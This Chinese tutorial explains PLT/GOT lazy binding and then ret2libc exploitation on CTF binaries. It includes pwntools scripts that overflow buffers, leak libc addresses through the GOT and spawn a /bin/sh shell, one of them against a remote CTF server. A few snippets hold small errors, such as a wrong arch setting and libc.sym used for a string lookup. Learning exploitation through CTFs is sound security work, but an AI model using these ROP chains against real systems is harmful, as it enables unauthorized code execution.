动态链接 动态链接是一种 程序运行时 将代码与共享库(如 libc.so
)绑定的技术。这里只介绍 plt 与 got 表以及延迟绑定。
1. PLT 与 GOT 表定义 1.1 PLT(Procedure Linkage Table,过程链接表)
PLT 表结构示意图 1 2 3 4 5 6 7 8 9 10 11 12 +----------------------+ | .plt 节(代码段) | +----------------------+ | puts@plt: | | jmp *puts@got.plt | → 首次跳转到解析逻辑 | push 索引号 | | jmp 公共解析代码 | +----------------------+ | printf@plt: | → 其他函数的PLT条目 | jmp *printf@got.plt| | ... | +----------------------+
1.2 GOT(Global Offset Table,全局偏移表)
GOT 表结构示意图 1 2 3 4 5 6 7 8 9 10 +---------------------+ | .got.plt 节(数据段) | +---------------------+ | GOT[0]: link_map | → 动态库元数据 | GOT[1]: 解析器地址 | → _dl_runtime_resolve | GOT[2]: 动态库解析函数 | → 动态链接器内部函数 +---------------------+ | puts@got.plt | → 初始指向PLT解析代码 | printf@got.plt | → 解析后填入真实地址 +---------------------+
1.3 PLT 与 GOT 的协作关系
程序调用动态函数时 (如 call puts@plt
),先跳转到 PLT 表。
PLT 表 通过 GOT 表间接跳转:
GOT 表 是实际地址的存储枢纽,PLT 是地址跳转的引导代码。
2. 延迟绑定的完整流程 2.1 首次调用动态函数(以 puts
为例)
详细步骤解析:
符号查找 :
动态链接器通过重定位索引(relocation_index
)在 .dynsym
节中找到 puts
的符号信息。
地址解析 :
遍历已加载的动态库(通过 link_map
),在 libc.so
中找到 puts
的实际地址。
GOT 更新 :
函数执行 :
3.2 后续调用动态函数
3. PLT/GOT 的静态与动态视图 3.1 静态视图(程序未加载时) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 +------------------+ +------------------+ | 代码段(.text) | | 数据段(.got.plt)| | | | | | call puts@plt | | GOT[0]: link_map | | ... | | GOT[1]: resolver | +------------------+ | GOT[2]: dl_func | | | puts@got.plt: | v | (未解析地址) | +------------------+ +------------------+ | PLT 表(.plt) | | puts@plt: | | jmp *GOT[n] | | push index |-------------------+ | jmp PLT0 | | +------------------+ | | +---------------------+ | | 动态链接器(ld) | <-------------+ | _dl_runtime_resolve | | 解析函数地址并写回GOT | +---------------------+
3.2 动态视图(程序运行后) 1 2 3 4 5 6 7 8 9 10 11 12 13 +------------------+ +------------------+ | 代码段 | | 数据段(GOT更新后) | | | | | | call puts@plt | | GOT[0]: link_map | | ... | | GOT[1]: resolver | +------------------+ | GOT[2]: dl_func | | | puts@got.plt: | v | 0x7ffff7e3c5a0 | +------------------+ +------------------+ | PLT 表 | | puts@plt: | | jmp *0x7fff... | → 直接跳转到 libc 的 puts +------------------+
4. 延迟绑定的设计优势 4.1 性能优化
按需解析 :仅在实际调用函数时解析地址,避免启动时解析所有未使用的函数。
缓存机制 :解析后的地址存储在 GOT 中,后续调用直接跳转,无额外开销。
4.2 内存效率
共享库代码 :多个程序共享同一份动态库代码,减少内存占用。
懒加载 :未调用的函数不会占用解析资源。
4.3 安全性增强
ASLR 兼容 :动态库地址随机化后,PLT/GOT 机制仍能正确解析函数地址。
5. 总结:PLT/GOT 与延迟绑定的核心关系
组件
角色
关键操作
PLT 表
跳转代理与解析触发器
引导调用、传递重定位索引
GOT 表
地址存储器与动态链接枢纽
存储未解析/已解析地址
延迟绑定
按需解析策略
控制首次调用触发解析的时机
1 2 3 程序调用动态函数 → PLT 引导跳转 → 查询 GOT 表 → ├─ 已解析 → 直接跳转至 libc 函数 └─ 未解析 → 触发动态链接器 → 解析地址 → 更新 GOT → 跳转
ret2libc 原理 ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。
例 1 例 1 的题目没有提供 sytem(“/bin/sh”),但是提供了 system 地址与 /bin/sh 的地址
32 位 这里的 32 位以 BUUCTF 上的 jarvisoj_level2 为例
只开启了 NX 保护
main 函数调用了vulnerable_function,然后是用 system 函数打印,vulnerable_function 函数中存在溢出。
我们可以发现,程序中并没有 system(“/bin/sh”),不过程序中有调用过 system 函数,那么我们还可以看看程序中是否有/bin/sh 字符串,我们可以直接在 ida 中查看程序的字符串,也可以利用 ROPgadget 工具
在 ida 中查看 Strings 列表,可以看到有/bin/sh 字符串,双击后可以看到其地址
利用 ROPgadget 查找/bin/sh 字符串
1 ROPgadget --binary pwn32 --string '/bin/sh'
现在我们编写 exp,将返回地址覆盖成 system@plt,然后将 system 的返回地址覆盖为 4 个 a,然后是 system 的参数/bin/sh 字符串的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import * context(os='linux' , arch='i386' , log_level='debug' ) p = process('./pwn32' ) elf = ELF('./pwn32' ) system_plt = elf.plt['system' ] binsh = 0x0804a024 def debug (): attach(p, 'b *0x804847D' ) pause() debug() p.recvuntil("Input:" ) payload = b'a' *0x8c + p32(system_plt) + b'a' *4 + p32(binsh) p.sendline(payload) p.interactive()
我们在 exp 中将断点下在 nop 处
可以看到,在返回地址处已经变成 system@plt,接着是 system 的返回地址,然后是 system 的参数/bin/sh 字符串
我们发现 system@plt 实际上执行了 jmp dword ptr [0x804a010]
,然后我们查看 0x804a010 地址处,其实际上调用了 libc 中的 system 函数
64 位 这里的 64 位以 BUUCTF 上的 jarvisoj_level2_x64 为例
只开启了 NX 保护
程序逻辑与 32 位程序相同
利用 ROPgadget 查找/bin/sh 字符串
1 ROPgadget --binary pwn64 --string '/bin/sh'
由于程序是 64 位,而 64 位程序传递参数的第一个寄存器是 rdi,因此我们需要寻找一个 rdi 的 gadget
1 ROPgadget --binary pwn64 --only 'pop|ret'
64 位还需要 ret 来平衡堆栈
写入 rdi 和 /bin/sh 字符串的地址,然后用 ret 平衡堆栈,最后调用 system
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import * context(os='linux' , arch='i386' , log_level='debug' ) p = process('./pwn64' ) elf = ELF('./pwn64' ) system_plt = elf.plt['system' ] binsh = 0x600a90 pop_rdi = 0x4006b3 ret = 0x4004a1 def debug (): attach(p, 'b *0x40061E' ) pause() debug() p.recvuntil("Input:" ) payload = b'a' *0x88 + p64(pop_rdi) + p64(binsh) payload += p64(ret) + p64(system_plt) p.sendline(payload) p.interactive()
例 2 例 2 的题目不再出现 /bin/sh 字符串,所以需要我们自己来读取字符串
32 位 这里的 32 位以 CTF Wiki 的 ret2libc2 为例
只开启了 NX 保护
main 函数,gets 函数存在溢出。secure 函数中有 system 函数调用
当我们寻找/bin/sh 字符串时,发现程序中并没有/bin/sh 字符串,因此我们只能手动读入/bin/sh 字符串。我们一般在具有读写权限的位置写入/bin/sh 字符串,所以我们可以选择 data 段和 bss 段,而 bss 段中有一个 buf2 的数组,我们可以将 /bin/sh 写入这个地址
exp 如下,返回地址写入 gets@plt,gets 的返回地址写入 system@plt,然后是 gets 的参数,这个实际上也是 system 的返回地址,那么当程序返回成 gets 时就会调用 gets 函数,此时程序就会等待我们进行输入,之后我们写入/bin/sh 字符串,这个字符串就会存入到 buf2 处,最后是 system 的参数,我们再写入 buf2 的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import * context(os='linux' , arch='i386' , log_level='debug' ) p = process('./pwn32' ) elf = ELF('./pwn32' ) gets_plt = elf.plt['gets' ] system_plt = elf.plt['system' ] buf2 = 0x804A080 def debug (): attach(p, 'b *0x80486BF' ) pause() debug() p.recvuntil("What do you think ?" ) payload = b'a' *0x70 + p32(gets_plt) + p32(system_plt) payload += p32(buf2) + p32(buf2) p.sendline(payload) p.sendline(b'/bin/sh\x00' ) p.interactive()
64 位 这里的 64 位是以将 32 位的例子编译成 64 位为例
开启了 NX 保护
程序逻辑与 32 位基本相同
思路也与 32 位相同,除了传参需要使用 rdi 寄存器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import * context(os='linux' , arch='amd64' , log_level='debug' ) p = process('./pwn64' ) elf = ELF('./pwn64' ) gets_plt = elf.plt['gets' ] system_plt = elf.plt['system' ] buf2 = 0x404080 pop_rdi = 0x4011b6 def debug (): attach(p, 'b *0x401253' ) pause() p.recvuntil("What do you think ?" ) payload = b'a' *0x78 + p64(pop_rdi) + p64(buf2) + p64(gets_plt) payload += p64(pop_rdi) + p64(buf2) + p64(system_plt) p.sendline(payload) p.sendline(b'/bin/sh\x00' ) p.interactive()
例 3 例 3 的题目既没有/bin/sh 字符串也没有 system 函数,所以我们需要同时找到 system 函数地址与 /bin/sh 字符串的地址,这就是标准的 ret2libc。
32 位 这里的 32 位以 CTF Wiki 的 ret2libc 例 3 为例
只开启了 NX 保护
main 函数 gets 存在溢出,secure 函数不再调用 system 函数,而且程序中不存在/bin/sh 字符串
那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点:
system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。
所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。
那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。
由于我们现在是本地测试,所以我们可以直接获取本地环境的 libc
那么下面我们就先来泄露出 puts 函数的真实地址,payload 中返回地址写为 puts@plt,puts 的返回地址写入 main 函数,这样执行完 puts 函数之后就会返回到 main,然后 puts 的参数写入 puts@got[plt],这样 puts@got[plt] 就会找到 puts 的真实地址,最后 puts 将其真实地址打印出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import * context(os='linux' , arch='i386' , log_level='debug' ) p = process('./pwn32' ) elf = ELF('./pwn32' ) libc = ELF('/lib/i386-linux-gnu/libc.so.6' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = 0x8048618 def debug (): attach(p, 'b *0x804868F' ) pause() debug() p.recvuntil("Can you find it !?" ) payload = b'a' *0x70 + p32(puts_plt) + p32(main) + p32(puts_got) p.sendline(payload) p.interactive()
在栈上我们可以看到 puts@got[plt] 指向了 puts 的真实地址
这里我们也可以看到 puts 的真实地址
然后我们用下面的语句接收并打印出 puts 的真实地址
1 2 puts = u32(p.recv(4 )) success('puts:' + hex (puts))
接下来我们计算出 libc 基地址,libc 的基地址在程序每次运行之后都会改变,但是 puts 函数相对于基地址的偏移是不变的(其他函数同),那么通过 puts 函数减去其在 libc 中的偏移就可以得到 libc 的基地址
对于 puts 函数在 libc 的偏移,我们可以用 libc.sym[‘puts’] 得到,也可以在 gdb 中用 puts 函数和 libc 基地址算出
1 print (hex (libc.sym['puts' ]))
算出 libc 的基地址,然后用基地址加上 system 函数在 libc 中的偏移得到 system 函数地地址,/bin/sh 字符串同理,只是在 libc 中寻找字符串稍有不同
1 2 3 4 libc_base = puts - libc.sym['puts' ] success('libc_base:' + hex (libc_base)) system = libc_base + libc.sym['system' ] binsh = libc_base + next (libc.sym[b'/bin/sh\x00' ])
我们可以看到打印出来的 libc 基地址是 3 个 0 结尾,那么这个 libc 基地址一般上就是正确的
最后就是布置 getshell 的 rop 即可
1 2 3 p.recvuntil("Can you find it !?" ) payload = b'a' *0x68 + p32(system) + b'a' *4 + p32(binsh) p.sendline(payload)
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import * context(os='linux' , arch='i386' , log_level='debug' ) p = process('./pwn32' ) elf = ELF('./pwn32' ) libc = ELF('/lib/i386-linux-gnu/libc.so.6' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = 0x8048618 def debug (): attach(p, 'b *0x804868F' ) pause() p.recvuntil("Can you find it !?" ) payload = b'a' *0x70 + p32(puts_plt) + p32(main) + p32(puts_got) p.sendline(payload) puts = u32(p.recv(4 )) success('puts:' + hex (puts)) libc_base = puts - libc.sym['puts' ] system = libc_base + libc.sym['system' ] binsh = libc_base + next (libc.search(b'/bin/sh\x00' )) p.recvuntil("Can you find it !?" ) payload = b'a' *0x68 + p32(system) + b'a' *4 + p32(binsh) p.sendline(payload) p.interactive()
64 位 这里的 64 位以 BUUCTF 的 bjdctf_2020_babyrop 为例
只开启了 NX 保护
main 函数调用了 vuln 函数,vuln 函数存在溢出
64 位的利用思路与 32 位相同
找到 rdi 寄存器
1 ROPgadget --binary pwn64 --only 'pop|ret'
从本地环境获取 libc
泄露出 puts 函数的真实地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import * context(os='linux' , arch='amd64' , log_level='debug' ) p = process('./pwn64' ) elf = ELF('./pwn64' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = 0x4006AD pop_rdi = 0x400733 def debug (): attach(p, 'b *0x4006AA' ) pause() debug() p.recvuntil("Pull up your sword and tell me u story!" ) payload = b'a' *0x28 + p64(pop_rdi) + p64(puts_got) payload += p64(puts_plt) + p64(main) p.sendline(payload) p.recvuntil(b'\n' ) puts = u64(p.recv(6 ).ljust(8 , b'\x00' )) success('puts:' + hex (puts)) p.interactive()
在栈上puts@got[plt] 已经指向了 puts 函数的真实地址
成功接收 puts 函数的地址
利用泄露的 puts 函数计算 libc 的基地址,然后根据 libc 的基地址算出 system 函数和/bin/sh 字符串的地址
1 2 3 libc_base = puts - libc.sym['puts' ] system = libc_base + libc.sym['system' ] binsh = libc_base + next (libc.search(b'/bin/sh\x00' ))
那么前面我们是在本地环境中获取的 libc,如果在远程环境且没有给出 libc 的情况下,我们就需要使用另外方法获取 libc
现在我们连上远程环境,然后泄露地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import * context(os='linux' , arch='amd64' , log_level='debug' ) elf = ELF('./pwn64' ) p = remote('node5.buuoj.cn' , 29020 ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = 0x4006AD pop_rdi = 0x400733 def debug (): attach(p, 'b *0x4006AA' ) pause() p.recvuntil("Pull up your sword and tell me u story!" ) payload = b'a' *0x28 + p64(pop_rdi) + p64(puts_got) payload += p64(puts_plt) + p64(main) p.send(payload) p.recvuntil(b'\n' ) puts = u64(p.recv(6 ).ljust(8 , b'\x00' )) success('puts:' + hex (puts)) p.interactive()
得到 690 结尾的 puts 函数地址
然后打开https://libc.blukat.me/或者https://libc.rip/其中一个网站
左侧两个输入框,左边输入框输入对应函数,右边输入框输入函数地址结尾的 3 个数字,比如这里我输入的是 puts 以及 690。我们点击 Find 之后右侧就会出现 libc,我们选择其中一个,比如这里我选择libc6_2.23-0ubuntu11_amd64
,点击 Download 将其下载下来,然后放到跟 elf 文件同一个文件夹下。这里找到的 libc 基本上在大版本没有问题,在小版本会有小差别,所以可以一个个试。
查看打印的 libc 的基地址,是 3 个 0 结尾
最后布置 getshell 的 rop
1 2 3 4 p.recvuntil("Pull up your sword and tell me u story!" ) payload = b'a' *0x28 + p64(pop_rdi) + p64(binsh) payload += p64(ret) + p64(system) p.sendline(payload)
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import * context(os='linux' , arch='amd64' , log_level='debug' ) p = process('./pwn64' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) elf = ELF('./pwn64' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = 0x4006AD pop_rdi = 0x400733 ret = 0x4004c9 def debug (): attach(p, 'b *0x4006AA' ) pause() p.recvuntil("Pull up your sword and tell me u story!" ) payload = b'a' *0x28 + p64(pop_rdi) + p64(puts_got) payload += p64(puts_plt) + p64(main) p.sendline(payload) p.recvuntil(b'\n' ) puts = u64(p.recv(6 ).ljust(8 , b'\x00' )) success('puts:' + hex (puts)) libc_base = puts - libc.sym['puts' ] success('libc_base:' + hex (libc_base)) system = libc_base + libc.sym['system' ] binsh = libc_base + next (libc.search(b'/bin/sh\x00' )) p.recvuntil("Pull up your sword and tell me u story!" ) payload = b'a' *0x28 + p64(pop_rdi) + p64(binsh) payload += p64(ret) + p64(system) p.sendline(payload) p.interactive()